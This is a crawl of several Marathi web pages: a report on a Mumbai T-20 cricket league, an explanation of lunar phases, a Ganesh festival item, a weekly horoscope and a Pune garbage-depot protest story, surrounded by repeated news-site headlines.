रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nअसे रंगणार मुंबईच्या मैदानात 'T-20 लीग'चे सामने\n२ जानेवारीला टी-२० लीगचं उद्घाटन होणार आहे. तर ४ जानेवारीपासून सामन्यांना सुरुवात होणार आहे. ४ ते ९ जानेवारी अशी ही लीग चालणार आहे.\n8डिसेंबर : मुंबई क्रिकेट असोसिएशननं गुरुवारी टी-२० लीगची घोषणा केली आहे. २ जानेवारीला टी-२० लीगचं उद्घाटन होणार आहे. तर ४ जानेवारीपासून सामन्यांना सुरुवात होणार आहे. ४ ते ९ जानेवारी अशी ही लीग चालणार आहे. मुख्य म्हणजे T-20 लीगचे सामने हे मुंबईत पार पडणार आहे.त्यामुळे मुंबईच्या अनेक खेळाडूंना आपलं नशीब अजमवायला मिळणार आहे.\nएमसीएच्या या लीगमध्ये ६ टीम्स असणार आहेत. राऊंड रॉबीन पद्धतीनं ही स्पर्धा होणार आहे. ज्यामध्ये प्रत्येक संघाची एकमेकांशी लढत होईल आणि दोन टॉप टीम्समध्ये अंतिम सामना रंगेल.\nएमसीएचे अध्यक्ष आशिष शेलार यांनी म्हटलं की, 'मुंबईत स्थानिक खेळाडू उत्कृष्ट आहेत परंतु त्यांना संधी मिळत नाही. या लीगच्या माध्यमातून त्यांना खेळण्याची उत्तम संधी मिळेल.'\nही लीग शहराच्या सहा झोनमध्ये विभाललेली आहे. ज्यात मुंबई-उत्तर पश्चिम, मुंबई-उत्तर पूर्व, उत्तर मुंबई, उत्तर मध्य, दक्षिण मुंबई आणि दक्षिण मध्य. अशा शहरांमध्ये सामने होणार आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\n'हीट-मॅन' रोहितने रचले 'हे' नवे रेकाॅर्ड\nLive Cricket Score, India Vs Pakistan Asia Cup 2018: रोहित-धवनच्या वादळापुढे पाकचा धुव्वा, भारताची फायलनमध्ये धडक\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00222.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://avakashvedh.com/prashnottare/15_chandrachya_kala.html", "date_download": "2018-09-25T16:38:17Z", "digest": "sha1:B6HSJDJLDGJ3V5PBH3N7OSULORUDIG2P", "length": 10190, "nlines": 126, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nचंद्राच्या कला का दिसतात\nखालिल चित्रामध्ये पृथ्वी मध्यभागी दाखविली असून तिच्याभोवती चंद्राची प्रदक्षिणा कक्षा दाखविली आहे. तसेच सूर्यप्रकाशामुळे चंद्राची व पृथ्वीची उजवीकडील बाजू प्रकाशीत असून त्यांच्या डाव्या बाजूला अंधार आहे.\nपृथ्वीभोवती प्रदक्षिणा करताना चंद्र जेव्हा सूर्य आणि पृथ्वी यांच्या मध्ये येतो तेव्हा त्याच्या पृथ्वीकडील बाजूला अंधार असल्याने आपणास चंद्र दिसत नाही. याच स्थितीला आपण 'अमावास्या' असे म्हणतो. तर जेव्हा चंद्र सूर्यासापेक्ष पृथ्वीच्या पालीकडील बाजूस असतो तेव्हा सूर्यप्रकाशाने त्याची पृथ्वीकडील संपूर्ण बाजू प्रकाशित असते अशा वेळेस पृथ्वीवरून आपणास पूर्ण चंद्रबिंब प्रकाशित दिसते, याच स्थितीला आपण 'पौर्णिमा' असे म्हणतो.\n'अमावास्या' ते 'पौर्णिमा' या काळामध्ये चंद्र जसजसा पुढे सरकतो त्या प्रमाणे पृथ्वीवर आपणास दररोज चंद्राचा अधिकाधिक भाग प्रकाशित होताना दिसतो. यालाच चंद्राच्या 'कला' असे म्हणतात. पौर्णिमेपर्यंत संपूर्ण चंद्रबिंब प्रकाशित झालेले दिसते. 'अमावास्या' ते 'पौर्णिमा' या काळाला 'शुक्ल पक्ष' असे म्हटले जाते.\nतर पुन्हा 'पौर्णिमा' ते 'अमावास्या' या काळामध्ये चंद्र जसजसा पुढे सरकतो त्या प्रमाणे पृथ्वीवर आपणास दररोज चंद्राचा प्रकाशित भाग हळूहळू कमी होताना दिसतो व अमावास्येपर्यंत चंद्र नाहीसा झालेला असतो. प्रत्यक्षात तो सूर्याच्या जवळ असल्याने व त्याच्या पृथ्वीकडील बाजूकडे अंधार असल्याने तो दिसत नाही. 'पौर्णिमा' ते 'अमावास्या' या काळाला 'कृष्ण पक्ष' असे म्हटले जाते.\nवरील चित्रामध्ये पृथ्वीवरून दिसणार्‍या चंद्राच्या कला दाखविल्या आहेत.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00223.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%86%E0%A4%AE%E0%A4%A6%E0%A4%BE%E0%A4%B0-%E0%A4%AE%E0%A4%B9%E0%A5%87%E0%A4%B6%E0%A4%A6%E0%A4%BE%E0%A4%A6%E0%A4%BE%E0%A4%82%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%98%E0%A4%B0%E0%A5%80/", "date_download": "2018-09-25T17:58:47Z", "digest": "sha1:KXKRZJOBQQRWXCSM7UYVJIX6MDUXFWIW", "length": 5932, "nlines": 70, "source_domain": "pclive7.com", "title": "आमदार महेशदादांच्या घरी बाप्पा झोपाळ्यात विराजमान | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड आमदार महेशदादांच्या घरी बाप्पा झोपाळ्यात विराजमान\nआमदार महेशदादांच्या घरी बाप्पा झोपाळ्यात विराजमान\nपिंपरी (Pclive7.com):- भोसरीचे आमदार महेशदादा लांडगे यांच्या घरी गणरायाचे मोठ्या उत्साहात स्वागत झाले. महेशदादांच्या घरी अनेक वर्षांपासून गणपती बसविला जातो. यंदा झोपाळ्यावर बाप्पा विराजमान झाले आहेत. महेशदादा लांडगे, कामगार नेते भैय्या लांडगे, उद्योजक कार्तिक लांडगे तसेच छोटे मंडळी व सर्व कुटूंबियांनी बाप्पाचे स्वागत केले.\nमहेशदादा म्हणाले, यंदाचा गणेशोत्सव सर्वांना, सुखाचा आनंदाचा, भरभराटीचा जावो. नागरिकांवर आलेले संकटावर मात करण्यासाठी बळ मिळावे, अशी गणरायाच्या चरणी प्रार्थना केल्याच त्यांनी सांगितले.\nTags: bjpMahesh LandgePCLIVE7.COMPcmc newsआमदारकार्तिक लांडगेगणपतीभैय्या लांडगेभोसरीमहेशदादा लांडगेविधानसभा\nखासदार श्रीरंग बारणे यांच्या घरी बाप्पा विराजमान\nश्रीमंत दगडूशेठ गणपतीसमोर अथर्वशीर्षातून २५ हजार महिलांचा स्त्रीशक्तीचा जागर\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00223.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://www.saamana.com/horoscope-for-10-june-to-16-june/", "date_download": "2018-09-25T16:46:36Z", "digest": "sha1:5IMNWODJE3YY3WSOLS5UFM4DMTGKUEAW", "length": 23282, "nlines": 291, "source_domain": "www.saamana.com", "title": "आठवड्याचे भविष्य – १० ते १६ जून २०१८ | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानची दमदार सुरुवात\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nमुख्यपृष्ठ देव-धर्म आठवड्याचे भविष्य\nआठवड्याचे भविष्य – १० ते १६ जून २०१८\nमेष – पूर्वीची चूक करू नका\nमेषेच्या पराक्रमात बुध व सूर्य प्रवेश करीत आहे. राजकीय-सामाजिक क्षेत्रात एक ‘लक्ष्य’ डोळय़ांसमोर ठेवून वाटचाल करावयाची आहे. पूर्वी झालेली चूक पुन्हा होणार नाही याची काळजी घ्या. व्यवसायात पुनर्बांधणी करून घडी नीट बसवा. कौटुंबिक नाराजी तात्पुरती असेल.\nशुभ दिनांक – १२, १३\nवृषभ – गुरूला विसरू नका\nवृषभेच्या धनेषात बुध आणि सूर्याचे राश्यांतर होत आहे. रविवार, सोमवारी संभ्रम वाढेल. विरोधकांची भूमिका बदलण्याची शक्यता आहे. राजकीय, सामाजिक क्षेत्रात तुम्ही दुर्लक्षित केलेल्या योजनांकडे विरोधक लक्ष देतील. ज्या गुरूने तुमच्या क्षेत्रात योग्य सल्ला तुम्हाला दिला असेल त्याला विसरू नका.\nशुभ दिनांक – १४, १६\nमिथुन – चौफेर दक्ष राहा\nस्वराशीत बुध आणि सूर्य प्रवेश करीत आहे. राजकीय-सामाजिक क्षेत्रात आपण कोणाचे ‘भक्ष्य’ होणार नाही याची काळजी घ्या. चौफेर दक्ष राहा आणि स्वतःचे उद्दिष्ट डोळय़ांसमोर ठेवून कार्यरत राहा. गुंतवणुकीचा उतावळेपणा करू नका. वृद्ध व्यक्तीची चिंता राहील. आठवडय़ाच्या शेवटी मार्ग निघेल.\nशुभ दिनांक – १५, १६\nकर्क – कामाचा व्याप वाढेल\nकर्केच्या व्ययेषात बुध आणि सूर्य येत आहेत. आठवडय़ाच्या सुरुवातीलाच महत्त्वाची कामे करून घ्या. योजनांची पूर्तता तत्परतेने करा. कुटुंबातील समस्येवर भाष्य करणे घरातील वादाचे कारण ठरू शकते. कामाचा व्याप सर्वच ठिकाणी वाढेल. प्रकृतीची काळजी घ्या.\nशुभ दिनांक – १०, ११\nसिंह – मैत्रीमध्ये दुरावा\nसिंहेच्या एका दशात बुध आणि सूर्य प्रवेश करीत आहे. राजकीय-सामाजिक क्षेत्रात तुम्ही ठरवलेले ‘लक्ष्य’ पूर्ण करण्यासाठी कक्षेच्या बाहेर जाऊन काम करावे लागेल. चौफेर घोडदौड करा. दौऱयात खाण्यापिण्याची काळजी घ्या. मैत्रीमध्ये दुरावा येऊ शकतो.\nशुभ दिनांक – ११, १२\nकन्या – प्रतिष्ठा वाढेल\nकन्येच्या दशमेषात बुध आणि सूर्याचे राश्यांतर होत आहे. आठवडय़ाच्या सुरुवातीला धावपळ होईल. तब्येतीवर ताण पडेल. राजकीय-सामाजिक क्षेत्रात तुमची लक्ष्यपूर्ती फारच महत्त्वाची ठरू शकते. प्रतिष्ठा वाढेल. कुटुंबातील वातावरण सुखद राहील. नोकरीचा प्रश्न सुटेल.\nशुभ दिनांक- १२, १४\nतूळ – व्यवसायात संधी मिळेल\nतुळेच्या भाग्येषात बुध आणि सूर्य प्रवेश करीत आहेत. राजकीय-सामाजिक क्षेत्रात आशेचा किरण दिसेल. वरिष्ठांच्या मर्जीसाठी एखादे किचकट काम करावे लागेल. रागावर नियंत्रण ठेवा. कोणतेही मत कुठेही व्यक्त करण्याची घाई करू नका. व्यवसायात संधी मिळेल.\nशुभ दिनांक – १०, ११\nवृश्चिक – परीक्षेसाठी तयारी करा\nवृश्चिकेच्या अष्टमेषात बुध आणि सूर्य प्रवेश करीत आहे. राजकीय-सामाजिक क्षेत्रात तुमचे उद्दिष्ट साध्य करण्यासाठी तुम्ही इतरांना कशा पद्धतीने वेठीस धरले आहे याकडे विरोधक बारीक लक्ष ठेवतील. प्रतिष्ठsवर आच येईल. परीक्षेसाठी चांगली तयारी करा.\nशुभ दिनांक – १२, १३\nधनु – संमिश्र घटना घडतील\nधनु राशीच्या सप्तमेषात बुध आणि सूर्य प्रवेश करीत आहे. सर्वच बाबतीत संमिश्र घटना घडतील. राजकीय-सामाजिक क्षेत्रात नव्या विचारांनी कार्य करावे लागेल. दिशा बदलून इतरांचे लक्ष विचलित करण्यात तुम्हाला यश मिळेल. कुटुंबात समस्या आल्या तरी मार्ग निघेल. जीवनसाथीची काळजी घ्या.\nशुभ दिनांक – १०, १४\nमकर – वाहन जपून चालवा\nआठवडय़ाच्या सुरुवातीपासून तुम्ही तुमची महत्त्वाची कामे करून घ्या. वरिष्ठांबरोबर चर्चा सफल होईल. मकरेच्या षष्ठsषात बुध आणि सूर्य प्रवेश करीत आहे. राजकीय-सामाजिक क्षेत्रात तुमच्या कार्यावर टीका करून तुम्हाला लक्ष्य केले जाईल. वाहन जपून चालवा. अहंकारावर नियंत्रण ठेवा. आत्मविश्वास प्रभावी ठरेल.\nशुभ दिनांक – १२, १३\nकुंभ- गुप्त शत्रू त्रास देतील\nकुंभेच्या पंचमेषात बुध आणि सूर्य प्रवेश करीत आहे. तुम्हाला कमी लेखणारे तुमच्याचकडे कामासाठी येतील. जवळच्या व्यक्तीच्या प्रकृतीची काळजी घ्यावी लागेल. कौटुंबिक वाटाघाटीत समस्या वाढतील. गुप्त शत्रू त्रास देतील. व्यवसायात फायदा होईल, पण भागीदार तुमची दिशाभूल करण्याची शक्यता आहे.\nशुभ दिनांक – १४, १५\nमीन – लोकांसाठी काम करा\nमीनेच्या सुखस्थानात बुध आणि सूर्य प्रवेश करीत आहे. राजकीय-सामाजिक क्षेत्रात लोकांसाठी कामे करा. इतरांकडून तसा प्रयत्न होऊ शकतो. व्यवसायात फायदा होईल. स्पर्धक भागीदार करून घेण्यासाठी मागे लागतील. शेअर्सचा अंदाज बरोबर येईल.\nशुभ दिनांक – ११, १२\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nरोखठोक : पोस्टर बॉय काय करतोय\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00223.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://lokmat.news18.com/news/in-pune-kachradepo-band-aggitation-259170.html", "date_download": "2018-09-25T17:30:44Z", "digest": "sha1:EJIUUKSVOMRNSLKXUV2BUIT7H3Y6H6JZ", "length": 12610, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "पुण्यात भजन करून कचराडेपो बंद आंदोलन", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nपुण्यात भजन करून कचराडेपो बंद आंदोलन\nउरुळी देवाची ग्रामस्थांनी कचरा घेण्यास नकार दिला आहे. दररोज कीर्तन भजन ,जागरण गोंधळ अशा अनोख्या प्रकारे आंदोलन सुरू आहे.\nहलिमा कुरेशी,26 एप्रिल : पुणे शहरात जागोजागी कचरा साठल्याने दुर्गंधीबरोबरच अनेक आजार पसरत आहेत. शहरात स्वाइन्फ्लु वाढला आहे. त्यात कचरा साठल्याने भीषण परिस्थिती निर्माण झालीय. उरुळी देवाची ग्रामस्थांनी कचरा घेण्यास नकार दिला आहे. दररोज कीर्तन भजन ,जागरण गोंधळ अशा अनोख्या प्रकारे आंदोलन सुरू आहे.\nअद्याप महानगरपालिका आणि ग्रामस्थ यांच्यात चर्चा होऊ शकली नाहीए. पर्यायी जागा निश्चित करण्यात प्रशासनाला अपयश आलंय. महानगरपालिकेत विरोधी पक्ष आक्रमक झाले असून लवकरात लवकर तोडगा काढण्याची मागणी केलीय.\nपालिकेच्या कचरा प्रकल्पाची स्थितीदेखील अतिदक्षता विभागात असल्यासारखी आहे. 25 वर्षांपासून उरुळी देवाची आणि फुरसुंगी येथे कचराडेपो आहे .यामुळे जमीन,जलस्रोत प्रदूषित झाले असल्याने , कायमचा कचराडेपो बंद आंदोलनावर काय उपाय काढला जातोय हे स्पष्ट होणं गरजेचं आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nपुजेच्या चिठ्ठीत सहा जणांची नावं, रक्ताचे थेंब आणि काळ्या बाहुल्या\nPHOTOS: पुण्यात 'आवाज वाढीव DJ तुला आईची शपथ हाय'\nतीन राज्य, दोन महिने, अखेर पोलिसांनी शोधले 101 मोबाईल्स\n पुण्यात समोस्याच्या गोड चटणीत आढळला मेलेला उंदीर\nडोळ्याचं पारणं फेडणारा दगडूशेठ गणपतीचा अथर्वशीर्ष सोहळा पाहा ड्रोनमधून\nVIDEO: श्रीमती काशीबाई नवले 'मेडिकल' कॉलेजच व्हेंटिलेटरवर\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल 